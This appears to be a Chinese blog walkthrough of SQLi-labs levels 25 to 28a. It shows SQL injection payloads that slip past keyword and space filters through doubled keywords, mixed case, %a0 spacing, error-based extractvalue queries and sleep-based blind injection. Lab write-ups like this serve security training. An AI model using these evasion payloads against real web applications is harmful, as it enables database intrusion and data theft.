这里开始就是各种花式绕waf了,肉鸡打算把它们放在一篇,所以可能会很长
less 25
or && and
至于怎么绕?
大小写:Or、oR
重复:oorr、anandd
符号:&&、||
各种编码:0x.....、unicode
然后..........没有然后了(想不到了
剩下的payload顺便给一给
?id=1' oorr extractvalue(1,concat('~',database()))--+
其他的数据表什么的也类似
less 25a
or & and +盲注
这里跟上一关不同的是上一关有回显这一关无回显,所以就只能盲注了,还要注意的是对and和or进行了过滤,稍微改下时间盲注的脚本就行
payload如下
?id=1 anandd If(mid((select schema_name from infoorrmation_schema.schemata limit 0,1),1,1)='h',1,sleep(5))--+
less 26
空格绕过
这关跟是在上面的25关的基础上再加上一个空格过滤
绕过空格可以有%a0、/**/,但是这里连反斜杠也过滤了,所以就直接用%a0
payload如下
?id=1000'%a0union%a0select%a01,(select%a0schema_name%a0from%a0infoorrmation_schema.schemata%a0limit%a00,1),3||'
这里前面试了一下id写-1可以正常登入,应该是连负号也过滤了,所以就只能用一个很大的数保证没有这个用户了
less 26a
反正就是绕过
这关跟上一关差不多,但是如果语句错了不会有报错信息,后台接收语句也改了点,加了个括号
最终payload
?id=1000')union%a0select%a01,database(),3||('1
因为不能用注释符,所以就闭合后面啦~~
less 27
union&select
emmm,反正都是一套的,只是再过滤多个union和select
至于怎么绕过,那就大小写混合去咯,当然也可以重复(ununionion),但是这里select重复绕过还是会被拦截(不知道为什么
这关不再过滤or和and了
payload
?id=100'%a0ununionion%a0SelEct%a01,(seLeCt%a0schema_name%a0from%a0information_schema.schemata%a0limit%a00,1),3%a0or'1
less 27a
还是绕过........
跟上面的一样,但是单引号变成了双引号
payload
?id=100"%a0ununionion%a0SelEct%a01,(seLeCt%a0schema_name%a0from%a0information_schema.schemata%a0limit%a00,1),3%a0and"1
less 28
跟27关差不多
给个payload(溜
?id=100')%a0uNion%a0seLeCt%a01,database(),3%a0or('1
less 28a
继续给个payload(溜
?id=100')uNion%a0seLeCt%a01,database(),3%a0or%a0('1